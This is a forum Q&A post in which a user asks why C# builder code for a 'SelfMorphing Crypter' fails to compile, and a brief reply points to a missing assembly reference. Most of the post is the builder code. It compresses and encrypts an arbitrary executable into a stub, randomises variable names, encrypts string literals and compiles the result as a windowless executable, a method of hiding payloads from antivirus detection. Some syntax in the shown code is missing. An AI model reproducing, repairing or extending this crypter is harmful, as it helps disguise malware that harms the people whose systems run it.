Click here to Skip to main content
14,545,256 members
Rate this:
Please Sign up or sign in to vote.
See more:
Hi am facing this error any time i try to compile my exe:
The type or namespace name 'Data' does not exist in the namespace 'System' (are you missing an assembly reference?)
Line: 14 - Column: 14
File: c:\Users\CyberSecLabs\AppData\Local\Temp\4wqsogrl.0.cs

this is my compiler code:

CodeDomProvider compiler = CodeDomProvider.CreateProvider("CSharp");

CompilerParameters parameters = new CompilerParameters
    GenerateExecutable = true,
    GenerateInMemory = true,
    OutputAssembly = Output,
    CompilerOptions = "/optimize+ /platform:x86 /target:winexe /unsafe"

// Check if the user specified any resource files.
// If yes, add then to the stub's resources.
string Source = Properties.Resources.Stub;
byte[] FileBytes = File.ReadAllBytes(file);
string ResFile = Path.Combine(Application.StartupPath, "Encrypted.resources");

using (ResourceWriter Writer = new ResourceWriter(ResFile))
    // Add the encrypted bytes to the resource file.
    Writer.AddResource("encfile", file);
    // Generate the resource file.


string stubCode = string.Join("\r\n", Resources.Stub.Replace("\r\n", "\n").Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries));

while (stubCode.Contains("_V_"))
    string variableName = new string(stubCode.Substring(stubCode.IndexOf("_V_")).TakeWhile(ch => "abcdefghijklmnopqrstuvwxyz0123456789_".Contains(char.ToLower(ch))).ToArray());
    stubCode = stubCode.Replace(variableName, variableName == "_V_DecryptString" ? "_@_DecryptString" : "_@_" + GetCleanVariableName());

stubCode = stubCode.Replace("_@_", "_V_");

stubCode = stubCode.Replace("_CONST_EncryptedStubCode", "new byte[]{" + string.Join(",", Encrypt(Compress(Encoding.UTF8.GetBytes(stubCode))).Select(_V_Main_Byte2 => _V_Main_Byte2.ToString())) + "}");
stubCode = stubCode.Replace("_CONST_EncryptedPayload", "new byte[]{" + string.Join(",", Encrypt(Compress(FileBytes)).Select(_V_Main_Byte2 => _V_Main_Byte2.ToString())) + "}");

while (stubCode.Contains("\""))
    int start = stubCode.IndexOf('"');
    string stringLiteral = stubCode.Substring(start, stubCode.IndexOf('"', start + 1) - start + 1);
    stubCode = stubCode.Replace(stringLiteral, "_V_DecryptString(@" + EncryptString(stringLiteral.Substring(1, stringLiteral.Length - 2)) + "@)");
while (stubCode.Contains("_V_"))
    stubCode = stubCode.Replace(new string(stubCode.Substring(stubCode.IndexOf("_V_")).TakeWhile(ch => "abcdefghijklmnopqrstuvwxyz0123456789_".Contains(char.ToLower(ch))).ToArray()), GetVariableName());
stubCode = stubCode.Replace('@', '"');

compiler.CompileAssemblyFromSource(parameters, FSave.FileName, stubCode, ResFile, Output);

string message = "Your exe is now encrypted!";
string title = "SelfMorphing Crypter";
MessageBox.Show(message, title);

// Dictionary variable is used to tell the compiler that we want
// our file to be compiled for .NET v2
Dictionary<string, string> ProviderOptions = new Dictionary<string, string>
    { "CompilerVersion", "v4.0" }

// Now, we compile the code and get the result back in the "Results" variable
CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(parameters, Source);

// Check if any errors occured while compiling.
if (Results.Errors.Count > 0)
    // Errors occured, notify the user.
    MessageBox.Show(string.Format("The compiler has encountered {0} errors",
        Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,

    // Now loop through all errors and show them to the user.
    foreach (CompilerError Err in Results.Errors)
        MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
            Err.Line, Err.Column, Err.FileName), "Error",
            MessageBoxButtons.OK, MessageBoxIcon.Error);

What I have tried:

I have added System.Data.dll on both classes of my stub and my builder but the error is still there, can anyone help me with that code? or post a fix for that?
Updated 22-May-20 0:29am
Richard MacCutchan 22-May-20 4:21am
The error message is clear, either the reference is missing or the using statement in the source code is incorrect.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)

CodeProject, 503-250 Ferrand Drive Toronto Ontario, M3C 3G8 Canada +1 416-849-8900 x 100